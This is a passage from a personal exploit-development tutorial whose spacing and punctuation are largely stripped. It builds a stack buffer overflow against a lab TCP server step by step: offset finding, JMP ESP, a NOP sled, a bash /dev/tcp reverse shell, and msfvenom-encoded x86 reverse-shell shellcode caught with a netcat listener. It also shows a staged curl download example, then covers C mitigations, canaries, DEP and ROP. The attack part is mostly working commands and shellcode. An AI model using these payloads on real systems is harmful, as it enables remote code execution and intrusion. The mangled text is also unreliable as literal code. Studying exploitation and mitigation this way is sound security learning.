Close 3 bytes of Ersquos or 3 x45rsquos but look closely one byte of D or x44 This means we need to subtract one D (x44) I feel like wersquore

onestepaway

python-cprintx411000+x4225+x438+x447+x454+x464

BoomThatrsquosit4bytesofErsquosor4x45rsquosLetrsquoscrackopenourregistersandconfirmthatwehavecontroloverourinstructionpointer

Okay so letrsquos recap You can save time during binary tree analysis if you print your fuzzerrsquos buffer to screen In this case we know the

crash occurred between 1000 and 1100 We also learned that our instruction pointer was well being overwritten with As We need to

find the exact location of the 4 byte EIP register because later we want to put a memory location of our ldquomalwarerdquo and tell the computer

to return to our malware in buffer If you noticed that the 44rsquos were at the end of EIP and not the beginning good catch This is because

Intel x86 is little endian meaning that the instructions are considered ldquobackwardsrdquo when provided to the CPU Basically it reads from

right-to-leftrelativetotheorderyousuppliedthedata

FindingInstructionPointerthefastway

Lucky for us there is a nice little program which helps us solve this problem much more quickly Unfortunately I found that when your

taught to use this program without learning the manual way then you may not understand what and why exactly you are using the

program

httpsgithubcomrapid7metasploit-frameworkblobmastertoolsexploitpattern_createrb

Soourfuzzertoldusthecrashhappenedatapproximately1100bytes

rootkali~locatepattern_createusrsharemetasploit-frameworktoolsexploitpattern_createrb

rootkali~usrsharemetasploit-frameworktoolsexploitpattern_createrb-l1100

This will create a pattern where each 4 bytes is a unique string Gosh I wish someone told me that You will paste the output from this

command into your clientpy buffer and overflow the program You will then receive a segmentation fault and go back into the registers

and find the unique 4 byte value in EIP Yoursquoll use a sister program which essentially counts the number of bytes in pattern_createrb

outputuntilitgetstotheunique4bytevaluethatwascopiedintoEIP

Example

Aa0Aa1Aa2Aa3Aa4Aa5Aa6Aa7Aa8Aa9Ab0Ab1Ab2Ab3Ab4Ab5Ab6Ab7Ab8Ab9Ac0Ac1Ac2Ac3Ac4Ac5Ac6Ac7Ac8Ac9Ad0Ad1Ad2Ad3Ad4Ad5Ad6Ad7Ad8Ad9Ae0Ae1Ae2Ae3Ae4Ae5Ae6Ae7Ae8Ae9Af0

Af1Af2Af3Af4Af5Af6Af7Af8Af9Ag0Ag1Ag2Ag3Ag4Ag5Ag6Ag7Ag8Ag9Ah0Ah1Ah2Ah3Ah4Ah5Ah6Ah7Ah8Ah9Ai0Ai1Ai2Ai3Ai4Ai5Ai6Ai7Ai8Ai9Aj0Aj1Aj2Aj3Aj4Aj5Aj6Aj7Aj8Aj9Ak0Ak1Ak2Ak3Ak4Ak5Ak6

Ak7Ak8Ak9Al0Al1Al2Al3Al4Al5Al6Al7Al8Al9Am0Am1Am2Am3Am4Am5Am6Am7Am8Am9An0An1An2An3An4An5An6An7An8An9Ao0Ao1Ao2Ao3Ao4Ao5Ao6Ao7Ao8Ao9Ap0Ap1Ap2Ap3Ap4Ap5Ap6Ap7

Ap8Ap9Aq0Aq1Aq2Aq3Aq4Aq5Aq6Aq7Aq8Aq9Ar0Ar1Ar2Ar3Ar4Ar5Ar6Ar7Ar8Ar9As0As1As2As3As4As5As6As7As8As9At0At1At2At3At4At5At6At7At8At9Au0Au1Au2Au3Au4Au5Au6Au7Au8Au9Av0Av1

Av2Av3Av4Av5Av6Av7Av8Av9Aw0Aw1Aw2Aw3Aw4Aw5Aw6Aw7Aw8Aw9Ax0Ax1Ax2Ax3Ax4Ax5Ax6Ax7Ax8Ax9Ay0Ay1Ay2Ay3Ay4Ay5Ay6Ay7Ay8Ay9Az0Az1Az2Az3Az4Az5Az6Az7Az8Az9Ba0Ba1Ba2

Ba3Ba4Ba5Ba6Ba7Ba8Ba9Bb0Bb1Bb2Bb3Bb4Bb5Bb6Bb7Bb8Bb9Bc0Bc1Bc2Bc3Bc4Bc5Bc6Bc7Bc8Bc9Bd0Bd1Bd2Bd3Bd4Bd5Bd6Bd7Bd8Bd9Be0Be1Be2Be3Be4Be5Be6Be7Be8Be9Bf0Bf1Bf2Bf3Bf

4Bf5Bf6Bf7Bf8Bf9Bg0Bg1Bg2Bg3Bg4Bg5Bg6Bg7Bg8Bg9Bh0Bh1Bh2Bh3Bh4Bh5Bh6Bh7Bh8Bh9Bi0Bi1Bi2Bi3Bi4Bi5Bi6Bi7Bi8Bi9Bj0Bj1Bj2Bj3Bj4Bj5Bj6Bj7Bj8Bj9Bk0Bk1Bk2Bk3Bk4Bk5Bk

YoucanchecktheregistertoojusttoconfirmtheuniquefourbytestringthatwaswrittenintoEIP0x37694236

Then you use the sister program which is just going to count all the bytes in our unique buffer string up to the point of that 4 byte EIP

value

usrsharemetasploit-frameworktoolsexploitpattern_offsetrb-l1100-q37694236

Letrsquoscomparethe1040byteoffsetagainsttheoffsetwefoundmanuallyusingbinarytreeanalysis

python-cprintx411000+x4225+x438+x447+x454(EIP)+x4641000+25+8+7=1040NowweknowthatourbufferandregistersbeforeEIPisapproximately1040byteslongwhilethefollowing4byteswillbeourmemoryaddressthatreturnsusbackintoourbufferandeventuallyrunsourprogramsOnceagainIfoundthissillypicturenotonlyamusingbutthemostusefulIgnorethe500bytesizelengthandreplacethatwith1040forexample

Now we want to make a slight modification to the manual buffer we created previously by adding some x90 no operations commands

Wersquoll add exactly 1040 bytes of NOPS for now Take a second look at the illustration above and see that wersquore going to write out a

bunchofNOPSandeventuallyaddsomeldquomalwarerdquocode

python-cprintx901040+x454+x904

Letrsquosmodifyourclientpyscripttoadjustforthenew1040offsetandNOPs

Notice how similar the manual python script looks to the replaced MESSAGE variable value If this update works correctly wersquod expect

thatmemorylocationsbeforeEIPtobex90rsquosandwersquodexpecttoseethatEIPisx45454545

MESSAGE=x901040+x454+x901000

Run the vulnerable tcp server and clientpy side-by-side and yoursquoll find that the segmentation fault occurs at EIP with a value of exactly

x45454545

Now most importantly what do we put into the Instruction Pointer That depends on where your buffer of x90rsquos land To find our

NOPSletsruntheattackwiththefollowinglogicintheclientpy

MESSAGE=x901040+x454+x901000

Letrsquosswitchsomethingsupandtryanewdebuggerhellip

1 Server1337

2 Fromterminal2rarredb

3 FromedbUIrarrfilerarrattachrarrldquoServerrdquo

4 FromedbUIrarrfilerarrdebugrarrrunrarrrun(twiceorso)

5 UpdateyourclientPoCcode

6 pythonclientPoCpy1337

CodeChanges

malware=(x41100)

eip=x424

ending=x90200

nopsled=(x90(1000-len(malware)))

MESSAGE=x901040+eip+nopsled+malware+ending

Welandsomex42rsquosperfectlyonEIPwhichmeansweadjustedforthebuffercorrectly

Right click in the registers and do a follow in memory dump In this case I clicked ESP and found some 90rsquos in the bottom left-hand

corner

Looking at our memory we see can see the 90rsquos we wrote before EIP we can see the x42 which is EIP and we can see that ESP points

to memory address bffff310 If we continue to scroll down into ESP we should find a bunch of Arsquos which symbolizes our malware At

memoryaddressbfff6a0wefindourArsquoswhichmightaswellbemalware

Nowthatweknowthex90rsquosfeednicelyintoourmalwarewewanttofindalocalstaticbinarywithanOPCODEthatallowsustojump

intoESPWersquollneedabinarythatisalreadyloadedintomemorythatgrantsourprogramreadpermissionFromtherewewillsearchfor

aJMPESPopcodetofindamemorylocationwiththatinstruction

1 runthevulnerableserver

2 startupedbdebuggerandattackthevulnerableserver

3 rightclickPluginsrarrOpsCodesearchrarrClickESPtoEIP

4 Manuallysearchthrougheachloadedbinaryandclicksearch

0xb7facf97 or x97xcfxfaxb7 is the memory location of the OPCODE instruction we need to insert into EIP in order to trick the CPU

tojumpintothememoryaddressheldatESPregisterandthenexecuteourmalwareinESPAsafriendlyreminder

So what do we want our malware to do For now letrsquos create a simple reverse shell back to a command and control server In the

futureIrsquollwriteapaperaboutacustompieceofmalwarejustforfun

Aboilerplateuniversalreverseshellonlinuxlooksliketheonebelow

binsh-igtampdevtcp12700144440gtamp1

Letrsquos test this out on a similar OS to the target server (as best we can) to make sure it will run correctly Wersquoll create a netcat listener in

one terminal listening on port 4444 and wersquoll execute the reverse shell from another terminal and attempt to connect to the listener It

lookslikethissimplereversebinshshellcommandwillworkonthetargetOS(mylocalhostlolz)

The next part that gets overlooked is the assembler encoding into machine op code Kali Linux and Metasploit have tools that generate

a bunch of shellcode for you but the details of the tools can be easily missed or misunderstood If your self-taught noob like myself and

not comp-sci person then itrsquos good we take a moment to cover this Even if you donrsquot fully understand it yoursquoll at least understand there

isanaddedlayerofcomplexity

LetrsquosrefertoourfriendwikipediaforhelphereIpersonallyconcatenateabunchofthistogetherbecauseIfounditusefulinmynotes

ldquoThe Netwide Assembler (NASM) is an assembler and disassembler for the Intel x86 architecture It can be used to write 16-bit 32-bit (IA-32) and 64-bit (x86-64) programs

NASM principally outputs object files which are generally not executable by themselves In computing object code or object module is the product of a compiler In a general

sense object code is a sequence of statements or instructions in a computer language usually a machine code language (ie binary) or an intermediate language such as

register transfer language (RTL) An assembler is used to convert assembly code into machine code (object code) An assembly language (or assembler language) often

abbreviated asm is any low-level programming language in which there is a very strong correspondence between the programs statements and the architectures machine

codeinstructionsrdquo

So when we put in x90x41x42 etc etc you might have noticed that the values stayed the same in memory and in the registers But

when we put in a bunch of Arsquos for some reason the EIP register spit out x41s Well when we performed ldquoinfo all-registersrdquo wersquore seeing

the HEX variant (x41x42x43) of the variables used in the CPUrsquos assembly language Thatrsquos part of the assembly language at work

helpingusgofromahigherlevellanguageinCtoalowerlevellanguagetotheCPUthatwedonrsquotunderstandlikebinary1rsquosand0rsquos

So when we write our malware to the registers it seems best to encode it into the assembly NASM HEX variant of the ASCI characters

commands because the assembly is already expecting that value in the register to execute when the function is called I canrsquot explain it

any deeper other than saying itrsquos ldquomagicrdquo All I know is that if you try to put human readable bash command syntax into a register the

registerdoesntknowwhattodowithitbecauseldquoitdoesntspeakthatlanguagerdquohellipyoufeelme(-8hellip

PutsimplyletrsquostakethecommandwearefamiliarwithinBASHandencodeitintosimpleHEXforillustrationhellip

binsh-igtampdevtcp12700144440gtamp1

encodesto

x2fx62x69x6ex2fx73x68x20x2dx69x20x3ex26x20x2fx64x65x76x2fx74x63x70x2fx31x32x37x2ex30x2ex30x2ex31x

2fx34x34x34x34x20x30x3ex26x31

Unfortunately the assembly still wont ldquounderstandrdquo what that HEX bash command means Largely because wersquore executing directly

from the stack and therefore we need x86 equivalent instructions However it does visually illustrate the point that wersquore taking a

simpleshellcommandandencodingitintoassemblyandwritingtheoutputinCHEX

To make this easier wersquoll use a tool from here on to help us translate a similar shell command like the one below into a lower level x86

encodedcommandthatthekernelcaninterpret

binsh-igtampdevtcp12700144440gtamp1

msfvenom-plinuxx86shell_reverse_tcpLHOST=127001LPORT=4444-fcndashex86shikata_ga_nai-bx00x0ax0d

x86encodedShellCode

xddxc4xb8xe3xb7xf6x55xd9x74x24xf4x5bx2bxc9xb1

x12x31x43x17x83xc3x04x03xa0xa4x14xa0x17x10x2f

xa8x04xe5x83x45xa8x60xc2x2axcaxbfx85xd8x4bxf0

xb9x13xebxb9xbcx52x83x46x3fxa5x52xd1x3dxa5x45

x7dxcbx44xd5x1bx9bxd7x46x57x18x51x89x5ax9fx33

x21x0bx8fxc0xd9xbbxe0x09x7bx55x76xb6x29xf6x01

xd8x7dxf3xdcx9b

TheMSFVENOMtoolisextremelyfeaturerichItiseasytorunitblindlybasedonsomeblogortrainingcoursewithoutfully

understandingthedetailsbehindthepayloadsencodersandoutputUsingourexampleIrsquollgivea60secondbreakdownItrsquosreally

worthreadingthemanpageonmsfvenomtounderstandthearchitecturesandencoders

- p=payloadwherepayloadcouldbelowlevelassemblycompiledjavajspshellcommandscrossplatform

- shell_reversewheretheUnderscoremeansasinglestagedpayloadThismeanstheentireremotecodeexecutionoccursina

singlegoAlternativelyamulti-stagedpayloadmightinjectaldquodownloaderrdquothenrunthedownloadedagainsttheattackerrsquos

ldquoWebServerrdquotogetadditionalremotecodecommandexecutionThinkstage1ldquocurl-sattackeripmalwarerdquowhilestage2is

malwareldquobinsh-igtampdevtcp12700144440gtamp1rdquoorsometihngfarbiggerandmoreadvanced

- f=formathellipThatcanberawCJSPshelletcetc

- -eistheencoderinthiscaseforthex86architecturewersquoreworkingonbuttherearemanymanymore

- -baretheldquobadrdquocharactersIrsquoveincludedafewexampleshere

Wheredoweputourmalware

While writing these notes I first put the shell code at the beginning of the buffer before EIP Letrsquos think about this for a second in the

clientpyscriptputtingthemalwarebeforeEIPlookslikethis

NOPSLED+MALWARE+EIP(RETURNBEFOREMALWARE)+NOPS

Personally I found the first approach difficult for this C program because the NOPSLED overwrote 90rsquos to all my registers This is

important because I had no OP CODE which I could use to dynamically jump into the NOPSLED before the MALWARE I was left

manually searching for a memory address of my NOPSLED and hard coding the memory address into the program This is inferior

because you may want to test larger MALWARE which could overwrite your memory address or you may have a different memory

address when you run this exploit on a target system outside of your lab Once again hard coding the return point is bad and

unfortunatelytheNOPSLEDbeforeEIPdidntgivememuchtodynamicallyjumpinto

HoweverIdidfindthatputtingmymalwareafterEIPopenedsomenewdoorsThisapproachlooksclosertothesyntaxbelow

NOPS++EIP(JMPtoREGISTER)+NOPSLED+MALWARE+NOPS

LikebeforewhenfindingJUMPESPyoucantestthisoutbygeneratingcodesimilartothecodebelow

malware=x41x30

eip=x97xcfxfaxb7

eip=x41x41x41x41

ending=x90200

nopsled=(x41(1000-len(malware)))

MESSAGE=x901040+eip+nopsled+malware+ending

After updating the code in the clientpy script go ahead and run the attack against the vulnerable server while in EDB debug mode Then

look into your register windows and try to ldquoFindrdquo any x90rsquos or if you used Arsquos x41rsquos If you find a register in my case ESP I overwrote

with a bunch of x41rsquos So instead of manually hard coded a memory location into the exploit I can now simply reference by ESP register

pointertojumpintothenopsled

One point here that was omitted online is the value of this In order to ldquoJumprdquo into all those ldquoArsquos you will need a librarydll with that

specific x86 operation code which your program has access to Letrsquos say Windows or Linux has a library with a JMP ESP command that

can program can call then your exploit becomes more portable because you can simply call that library Plus if you want to try out

bigger malware payloads you donrsquot have to go down into lower memory locations and hard code the new NOP location to ldquomake roomrdquo

for a bigger payload With memory protections enabled I suspect this becomes more complex but I think for now wersquoll go with the shell

codeaftertheEIPsowecanjumpintoESP

NOPS++EIP(JMPtoREGISTER)+NOPSLED+MALWARE+NOPS

BadCharactersinCustomMalwareIfyouweretoattempttofindyourownbufferoverflowinapieceofsoftwareandwriteyourownremotecodeexecutionorremotecommandexecutionyouwouldfindthatsomecharactersarereservedforpromotinglanguageandassemblerForexamplex00isusedforNULLpointterminationinCwhichindicatesanendofanarrayorbufferandtellsaprogramtostopatthepointitseesx00OtherlanguagesmayhavesimilarreservedtypeofcharactersyouwanttocommitAsanoverlysimplifiedexamplehellip

x86encodedShellCodewBadCharacters(Fornextsection)

xddxc4xb8xe3xb7xf6x55xd9x74x24xf4x5bx2bxc9xb1

x12x31x43x17x83xc3x04x03xa0xa4x14xa0x17x10x2f

xa8x04xe5x83x45xa8x60xc2x2axcaxbfx85xd8x4bxf0

xb9x13xebxb9xbcx52x83x46x3fxa5x52xd1x3dxa5x45

x7dxcbx44xd5x1bx9bxd7x46x57x18x51x89x5ax9fx33

x21x0bx8fxc0xd9xbbxe0x09x7bx00x00x55x76xb6x29xf6x01

xd8x7dxf3xdcx9bx00x00

Nowletrsquosupdateourclientpycodetoreflectthesechangesandincludethereverseshellpayloadwejustmade

UpdatedclientpyCodewiththeldquoBadCharactercoderdquo

Wersquore getting close to the moment of truth The expected behavior is when turn on another netcat listener on port 4444 and run the

clientpy the clientpy script will attack the vulnerable tcp server and write our malicious code into the vulnerable serverrsquos buffer and

overwrite EIP with a memory pointer that will tell the CPU to ldquogo backrdquo to our malicious command which will ultimately create a

connection back to the ldquoattackerrdquo on the listening 4444 port However because we have ldquoBad Charactersrdquo we know the connection

willfail

Enablenetcatonport4444(nc-lvp4444)

TurnonthevulnerableserverinEDB(Server1337)andthenattachtheprogramtoEDB

Runtheupdatedclientpyscriptagainstthevulnerableserver(pythonclientpy1337)

WaitforthevictimmachinetoconnectbacktotheldquoAttackerrdquoonport4444

We notice that the attack fails because the connection back to our attacking machine (farthest right) does not respond to our ID or

WHOIScommandsLetrsquosinvestigate

1 RightclickEIPinRegisterWindowsrarrFollowinDump

2 ScrollaroundandfindthemalwareinbetweentheNOPSLEDandNOPending

3 Lookforx00commandsandtrytonoticeanythingorstrange

WhattheTargetMachineSees

Whatwesentover

We go through each HEX character one by one and notice if any original character from the client payload are omittedgoofed up etc

etc This is a slow and tedious part of the process and arguably the best opportunity to learn We see a whole string of characters does

not ldquomatchrdquo So what happened The bad characters are reserved for various operations and memory locations If you send an OP

CODE for example then the machine will just process it ldquoas isrdquo not knowing that the characters you sent are part of a specific sequence

of characters to form a command In an environment where you are trying to encode BASH command or x86 x64 you will run into

various characters that your malware payloads canrsquot use If you donrsquot spend the time checking the memory dump for bad

charactersthenyouwillhavemanysadandlonelyhoursbehindthekeyboard

So we have to generate a payload that can omit bad characters Luckily we have a program to help us generate x86 shellcode and

omitcharacters

msfvenom-plinuxx86shell_reverse_tcpLHOST=127001LPORT=4444-fcndashex86shikata_ga_nai-bx00x0ax0d

TestingforbadcharactersisthebestwayforyoutolearnthedebuggerassemblyandHEXYoucandoitatleasttwowaysthatIknow

ofhellip

1 UseagiantblobofallASCIcharactersinHEX

2 Generateacouplesimplepayloadsyouwanttoexecuteandwalkthroughthepayloadlinebyline

Howtotestforbadcharactersandotherassemblyandregisterissues

Terminal1Server1337

Terminal2edb(orGDBIwonrsquotjudge)

fromedbrarrattachrarrServer

fromedbrarrdebugrarrclickrunrarrclickrunagainrarrlookatbottompainandseeiftheprogramisrunning

Terminal3ExecutetheclientscriptwithyourmaliciouspayloadpadwithArsquosorNOPSsoyoucanldquoFindrdquoyourcodequicklyinmemory

Yoursquollbelookingforx41orx90rsquos

Option1-AlltheASCII

x01x02x03x04x05x06x07x08x09x0ax0bx0cx0dx0ex0fx10

x11x12x13x14x15x16x17x18x19x1ax1bx1cx1dx1ex1fx20

x21x22x23x24x25x26x27x28x29x2ax2bx2cx2dx2ex2fx30

x31x32x33x34x35x36x37x38x39x3ax3bx3cx3dx3ex3fx40

x41x42x43x44x45x46x47x48x49x4ax4bx4cx4dx4ex4fx50

x51x52x53x54x55x56x57x58x59x5ax5bx5cx5dx5ex5fx60

x61x62x63x64x65x66x67x68x69x6ax6bx6cx6dx6ex6fx70

x71x72x73x74x75x76x77x78x79x7ax7bx7cx7dx7ex7fx80

x81x82x83x84x85x86x87x88x89x8ax8bx8cx8dx8ex8fx90

x91x92x93x94x95x96x97x98x99x9ax9bx9cx9dx9ex9fxa0

xa1xa2xa3xa4xa5xa6xa7xa8xa9xaaxabxacxadxaexafxb0

xb1xb2xb3xb4xb5xb6xb7xb8xb9xbaxbbxbcxbdxbexbfxc0

xc1xc2xc3xc4xc5xc6xc7xc8xc9xcaxcbxccxcdxcexcfxd0

xd1xd2xd3xd4xd5xd6xd7xd8xd9xdaxdbxdcxddxdexdfxe0

xe1xe2xe3xe4xe5xe6xe7xe8xe9xeaxebxecxedxeexefxf0xf1xf2xf3xf4xf5xf6xf7xf8xf9xfaxfbxfcxfdxfexff

Option2-Testsomespecificcommands

msfvenom-plinuxx86shell_reverse_tcpLHOST=127001LPORT=4444-fcndashex86shikata_ga_nai-bx00x0ax0d

xdaxc2xb8x84x78xb5xb8xd9x74x24xf4x5fx2bxc9xb1

x12x31x47x17x03x47x17x83x6bx84x57x4dx42xaex6f

x4dxf7x13xc3xf8xf5x1ax02x4cx9fxd1x45x3ex06x5a

x7ax8cx38xd3xfcxf7x50x9bxfex07xa1x0bxfdx07xb0

x97x88xe9x02x41xdbxb8x31x3dxd8xb3x54x8cx5fx91

xfex61x4fx65x96x15xa0xa6x04x8fx37x5bx9ax1cxc1

x7dxaaxa8x1cxfd

The-bx00x0ax0doptioninthecommandwillomitthex00rsquosfromtheoutputPreviouslyIpurposelyinsertedsomepeskyx00rsquosinto

thisshellcodeforillustrationTherealityisthatevenMSFVENOMmayoutputapayloadwithbadcharacterandyoustillneedtotest

Anothernoteisthattrytouseaverysimplepieceofmalwareforthefirstcodeexecution

ldquoThelargermoreadvancedthemalwareisinthebufferoverflowsthemorelikelyyouaretorunintobadcharacterandotherruntime

issuesitrsquosjustsimplemathhellipmorecharactersmorechancesforfailurerdquo

KeepitsimpleandsmallYoudonrsquotalwaysneedreverseshellsandmaybeyoucanrsquotuseareverseshellbecauseofbadcharactersor

hardeningRememberyoucanalwaysgetabiggerpayloadorbinarydowntothemachinewithasimpleTFTPGETCURLorECHO

commandLetrsquosruntheattackwiththebadcharactersomittedandseeifwecanlandashell

NewPayload

xdaxc2xb8x84x78xb5xb8xd9x74x24xf4x5fx2bxc9xb1

x12x31x47x17x03x47x17x83x6bx84x57x4dx42xaex6f

x4dxf7x13xc3xf8xf5x1ax02x4cx9fxd1x45x3ex06x5a

x7ax8cx38xd3xfcxf7x50x9bxfex07xa1x0bxfdx07xb0

x97x88xe9x02x41xdbxb8x31x3dxd8xb3x54x8cx5fx91

xfex61x4fx65x96x15xa0xa6x04x8fx37x5bx9ax1cxc1

x7dxaaxa8x1cxfd

Enablenetcatonport4444(nc-lvp4444)

TurnonthevulnerableserverinEDB(Server1337)andthenattachtheprogramtoEDB

Runtheupdatedclientpyscriptagainstthevulnerableserver(pythonclientpy1337)

WaitforthevictimmachinetoconnectbacktotheldquoAttackerrdquoonport4444

ClickldquoRunthroughprogramrdquobecauseyoumaybecaughtindebugmode

FinalResults

SuccessItlookslikethestackwasoverwrittenandwesuccessfullytoldEIPtopointintoourNOPSELDlocatedinESPFromthere

theCPUranthroughthememoryuntilitgotourmaliciouscodeThereverseshellcommandexecutedinthestackandconnectedback

toourldquoattackingrdquoterminal(farthestright)

CommonBufferOverflowExampleandMitigations(inC)

WhetheryourwritingsourceoryoujustreversedengineeredacompiledbinarywithGHIDRAyoumaywanttoknowwhichfunctionsare

morelikelytocauseanoverflowOlderClibraryfunctionslikestrcpy()strcat()sprintf()andvsprintf()operateonnullterminated

stringsandperformnoboundscheckingGets()isanotherfunctionthatreadsinput(intoabuffer)fromstdinuntilaterminatingnewline

orEOF(EndofFile)isfoundThescanf()familyoffunctionsalsomayresultinbufferoverflowsUsingstrncpy()strncat()snprintf()

andfgets()allmitigatethisproblembyspecifyingamaximumstringlengthofNHerersquosafewwelldocumentedexamplesIprovidedthe

assemblyinstructionstoillustratethatyoumightbeabletoreverseengineerwhereBOrsquospresentthemselvesfromobservingthe

registersofacompiledbinaryorreviewingtheoutputfromGHIDRA

gets

Thestdiogets()functiondoesnotcheckforbufferlengthandalwaysresultsinavulnerability

VulnerableCode(SOURCE)

printfexternallink(Inputsomethingnastyhere)

gets(something)

VulnerableCode(ASSEMBLY)

FixedCode

printfexternallink(Inputsomethingnastyhere)

fgets(usernameLENGTHstdin)

strcpy

Thestrcpybuilt-infunctiondoesnotnativelycheckbufferlengthsAsillustratedinourexampleiscanoverwritememoryzone

contiguoustomemorywherethepayloadisstored

VulnerableCode

charstr1[10]

charstr2[]=badstuffhere

strcpy(str1str2)

FixedCode(SOURCE)

enumBUFFER_LIMIT=1024

intmain()

chardst[BUFFER_LIMIT]

charsrc[]=badstuffhere

intbuffer_length=strlcpy(dstsrcBUFFER_LIMIT)

if(buffer_lengthgt=BUFFER_LIMIT)

printfexternallink(Stoptryingtooverflowmybufferd(disthelengthn

buffer_lengthBUFFER_LIMIT-1)

VulnerableCode(ASSEMBLY)

Anotherwaytomitigatestrcpyissuethatcomesupinblogsandowaspisstrncpywhichcanpreventbufferoverflows

FixedCode(SOURCE)

enumBUFFER_BOUNDARY_SIZE=1024

charstr1[BUFFER_BOUNDARY_SIZE]

charstr2[]=badstuffhere

strncpy(str1str2BUFFER_BOUNDARY_SIZE)limitsthenumberofcharacterstobecopiedtofizedlengthofbuffersize

strcat

YoumayalsoseetheuseofstrcatinsteadofstrncatstrcatdoesnotnativelysupportsettinganNlimitontheargumentpassedinto

thebufferAppendsthefirstnumcharactersofsourcetodestinationplusaterminatingnull-characterIfthelengthoftheCstringin

sourceislessthannumonlythecontentuptotheterminatingnull-characteriscopied

FixedCode(SOURCE)

defineBUFFER_BOUNDARY_SIZE1024

charbuff[BUFFER_BOUNDARY_SIZE]

Usesecurestrncpythenuse

strlcpy(buffString1BUFFER_BOUNDARY_SIZE-1)

buff[BUFFER_BOUNDARY_SIZE-1]=0

strncat(buffString2BUFFER_BOUNDARY_SIZE-strlen(buff)-1)

strcmp

ComparestheCstringstr1totheCstringstr2ThisfunctionstartscomparingthefirstcharacterofeachstringIftheyareequaltoeach

otheritcontinueswiththefollowingpairsuntilthecharactersdifferoruntilaterminatingnull-characterisreachedStrcmpdoesnot

validatethesizeoftheinputagainstthepredefinedbuffer

OtherMitigationstoBufferOverflows

During this tutorial I asked you to disable a few protections so we can perform a basic overflow PoC For example you had disable

ASLR in Linux using the procsyskernelrandomize_va_space interface You may have noticed the compiled C binaries needed the

following arguments -fno-stack-protector and -z execstac passed at compile time to remove C memory protections Modern exploits

need to bypass these advanced mechanisms so therersquos an entirely new rabbit hole Irsquoll only cover a few very broad areas here for my

own interest and to set myself up for further PoCrsquos and papers in the journey ahead The following should be just enough for the

newcomertodiptheirtoesintothesubjects

Canary

A less useful protections involves a method called a stack canary protections A stack canary work by modifying every functions

prologue and epilogue regions to assign a special ldquoCanaryrdquo character and check if the canary value is on the stack If not the canary

ldquosingsrdquo to warn you lol An example is The Stack Smashing Protector (SSP) compiler feature which according to their website helps

detect stack buffer overrun by aborting if a secret value on the stack is changed SSP even admits that if an attacker can properly

overwriteorjumpacanaryinstructionitispossibletobypasstheprotectionHereareafewresourcesIrsquovestartedwith

https0x00secorgtexploit-mitigation-techniques-stack-canaries5085

httpswwwrapid7comresourcesstructured-exception-handler-overwrite-explained

httpswwwexploit-dbcomdocsenglish17505-structured-exception-handler-exploitationpdf

DEP-DataExecutionProtection

DEP or executable-space protection specifically flags some memory regions as non-executable The intent is that when malware

executes the machine code in the protected regions it will cause an execution exception Flagging the memory regions and registers as

non-executablemeanstheattackerscodecannotberunUltimatelythismakesithardertoachieveofbufferoverruns

For example according the Linux man page on execstack ldquoexecstack is a program which sets clears or queries executable stack flag

of ELF binaries and shared librariesrdquo Another note your compiled binaries could be flagged with a no execution bit (NX) while other

linked libraries may still have executable stacks This is where problems arise -fno-stack-protectactor disables stack overflow

security checks for certain (or all) routines When option -fstack-protector-strong is specified it enables stack overflow security checks

forroutineswithanytypeofbuffer

In modern Windows software DEP is configured at system boot via a policy setting in the boot configuration data An application can get

the current policy setting by calling the GetSystemDEPPolicy function Hardware DEP is typically enabled by default in at the

bootloader but can be disabled with physical access Depending on the policy setting an User-Land application can change the DEP

setting for the current process by calling the SetProcessDEPPolicy function Allowing user-land changes is where developers may

introduceunprotectedcompiledbinariesThefollowinglinksareexamplesofhowtoimplementDEP

httpslwnnetArticles422487

httpslinuxdienetman8execstack

httpssupportmicrosoftcomen-ushelp875352a-detailed-description-of-the-data-execution-prevention-dep-feature-in

httpssupportmicrosoftcomen-ushelp912923how-to-determine-that-hardware-dep-is-available-and-configured-on-your

httpsdocsmicrosoftcomen-uswindows-hardwaredriversdevtestboot-parameters-to-configure-dep-and-pae

BypassingDEP

Bypassing DEP and NX requires a method called Return-Oriented Programming My first introduction to this concept was thanks to

David Maloney Sr Security Researcher at Rapid7 who had a great youtube video online that covered the concept at 1000 feet view

ThevideofirstmentionsamethoddevelopedgoingtoreturntolibcandthendiscussesReturnObjectProgrammingorROPchaining

So if stack execution is enabled wersquod expect that an attempt to execute from the stack will result in a terminated process and the cpu

will throw a segmentation fault In the return to lib C method instead of overwriting EIP with a JUMP ESP instruction like this PoC you

overwritetheInstructionPointerwithfunctionsfromwithinlibclibrary

arguments Another thing I learned is that libC is not required however it is just the most likely available and most common target in

linux In a libC example I found it was as simple as finding the memory location for system() and calling binbash which was executable

in memory As a counter defense some folks remove functions from libraries that can result in this type of chained execution Another

option which does not rely on calls to external executable functions is Return Object Programming or ROP chaining As mentioned in

the video your exploit must make use of instruction sequences available in the program yoursquore attacking or libraries linked to the

application aka ldquorop gadgetsrdquo When reading about ROP gadget I came across a line that explained there are intended sequences of

instructions and unintended sequences of instructions Hmmmmm why Because misspelling copy and pasting code hellip nope

somethingmoretrvialIrsquollre-usethisquotebecauseitwasafunpuzzle

ldquoWhat Unintended how come well if you look at a sentence like ldquothe articlerdquo the writer intended to say ldquothe articlerdquo but he didnrsquot

intendtohavethewordldquoheartrdquodidherdquo

Basically the instructions wersquore looking for end in RET aka ldquoReturnrdquo You chain a bunch of these assembly instructions together in your

payload until you get a command that can perform similar execution to the malware we used in our simple PoC You can find ROP

gadgets with the following in Immunity Debugger mona rop -m dll -cp nonull or in linux you can try simple text search for RET

instructionorROPgadgetToolonGithHuborVNsecuritycalledROPemeandorprocpidmaps

An example used in a linked exploit-db article is chaining a bunch of ROP gadgets together to basically execute

ldquoexecve(ldquobinshrdquo00)rdquo Execve executes the program pointed to by filename filename must be either a binary executable or a script

which in our case would be something like a variable equal to our reverse shell command binsh -i gtamp devtcp1270014444 0gtamp1

But when Windows or Linux has ASLR enabled libraries those binaries will have a randomized virtual memory space so it makes it

difficulttocallexecve()orsystem()

Another technique to bypass DEP makes use of native API that can change the execution flag on your memory spaces Examples Irsquove

found include VirtualAlloc HeapCreateVirtualProtect APIs If you can call upon these functions then you may be able to either create

a new executable space or change the flag for existing executable space However finding the memory addresses to these functions

andcallingthemappearstobeadifferentstory

httpsgithubcomJonathanSalwanROPgadget

httpswwwrapid7comresourcesrop-exploit-explained

httpswwwexploit-dbcomdocsenglish17131-linux-exploit-development-part-3---ret2libcpdf

httpswwwexploit-dbcomdocsenglish28479-return-oriented-programming-(rop-ftw)pdf

httpswwwexploit-dbcomdocsenglish44090-zero-day-zen-garden-windows-exploit-development---part-5-[return-oriented-programmi

ng-chains]pdf

ASLR(Addressspacelayoutrandomization)

